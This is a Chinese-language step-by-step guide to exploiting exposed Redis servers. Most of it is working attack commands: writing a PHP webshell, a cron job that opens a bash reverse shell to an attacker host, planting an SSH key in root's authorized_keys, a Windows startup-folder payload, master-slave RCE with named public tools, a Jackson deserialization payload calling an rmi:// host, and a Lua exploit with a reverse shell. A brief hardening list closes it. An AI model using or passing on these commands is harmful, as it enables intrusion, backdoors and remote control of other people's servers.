Redis漏洞利用
字数 1265 2025-08-15 21:30:51
Redis漏洞利用全面指南
1. Redis简介与基本配置
Redis是一个开源的key-value存储系统,支持多种数据结构:
- 字符串(string)
- 链表(list)
- 集合(set)
- 有序集合(zset)
- 哈希(hash)
默认端口:6379
环境搭建
Windows环境
- 下载地址:https://github.com/microsoftarchive/redis/releases
- 修改配置文件redis.windows.conf:
bind 0.0.0.0 protected-mode no - 启动服务:
redis-server.exe redis.windows.conf
Linux环境
- 下载地址:http://download.redis.io/releases/redis-6.0.1.tar.gz
- 编译安装:
wget http://download.redis.io/releases/redis-6.0.1.tar.gz tar xzf redis-6.0.1.tar.gz cd redis-6.0.1 make cp src/redis-server /usr/bin/ cp src/redis-cli /usr/bin/ cp redis.conf /etc/ - 修改配置同Windows
2. Redis常见漏洞利用方式
2.1 写入Webshell
适用环境:Windows/Linux
前提条件:
- 目标存在Web目录
- 已知Web绝对路径
- 有写入权限
利用步骤:
config set dir "C:/phpstudy_pro/WWW/web"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
注意:
\r\n\r\n用于换行,避免Redis自带版本信息影响执行
2.2 计划任务反弹Shell
适用环境:CentOS
前提条件:有写入计划任务的权限
利用步骤:
- 攻击机监听端口:
nc -lvp 8899 - Redis操作:
config set dir /var/spool/cron set tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n" config set dbfilename root save
注意:此方法在CentOS有效,Ubuntu/Debian可能因乱码问题失败
2.3 写入SSH公钥
适用环境:Linux(开启SSH密钥认证)
前提条件:
- Redis以root权限运行
- 目标开启SSH密钥登录
利用步骤:
- 生成密钥对:
ssh-keygen -t rsa - 准备公钥文件:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt - Redis操作:
cat key.txt | redis-cli -h x.x.x.x -x set tide redis-cli -h x.x.x.x config set dir /root/.ssh config set dbfilename authorized_keys save - 连接SSH:
ssh -o StrictHostKeyChecking=no x.x.x.x
2.4 Windows开机自启
适用环境:Windows
利用步骤:
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
save
3. 高级利用技术
3.1 Redis主从同步RCE
影响版本:Redis 4.x-5.0.5
利用步骤:
- 下载工具:
git clone https://github.com/Ridter/redis-rce.git git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git - 编译模块:
cd RedisModules-ExecuteCommand/ make - 执行攻击:
python redis-rce.py -r 目标IP -L 本机IP -f module.so
3.2 反序列化RCE
原理:篡改Redis中的序列化数据,触发反序列化漏洞
常见序列化类型:
- Jackson:关注JSON数组第一个元素是否像类名
- Fastjson:关注是否有@type字段
- JDK:检查value是否为base64编码
Jackson反序列化利用示例:
set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"
3.3 Lua虚拟机RCE
适用环境:低版本Redis的Lua虚拟机
利用步骤:
- 下载exp:https://github.com/QAX-A-Team/redis_lua_exploit/
- 修改目标IP并运行
- 执行命令:
eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0
4. 密码爆破
使用Metasploit模块:
auxiliary/scanner/redis/redis_login
5. 安全加固建议
- 禁止使用root权限启动Redis服务
- 启用密码认证:
requirepass 复杂密码 - 限制访问IP并更改默认端口
- 保持Redis版本更新
参考资源
- https://www.freebuf.com/column/158065.html
- https://xz.aliyun.com/t/5665
- https://paper.seebug.org/1169/
- https://www.anquanke.com/post/id/151203/